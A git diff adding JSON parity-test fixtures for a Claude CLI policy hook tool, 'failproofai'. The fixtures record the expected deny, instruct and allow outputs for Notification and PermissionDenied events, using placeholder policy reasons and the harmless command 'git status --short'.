00000000..eca3a00b --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7f095462 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f91be7b1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9ca85d34 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ef28ca92 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9493534e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..72db0daa --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5e29c7af --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..ba6a7bab --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b1469714 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..46d49cfa --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..aad97381 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3f8a9a94 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4465968a --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..307a7fbb --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..80509f5e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2863b7dd --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..df57c873 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b8fb4146 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7e0a8ecc --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + 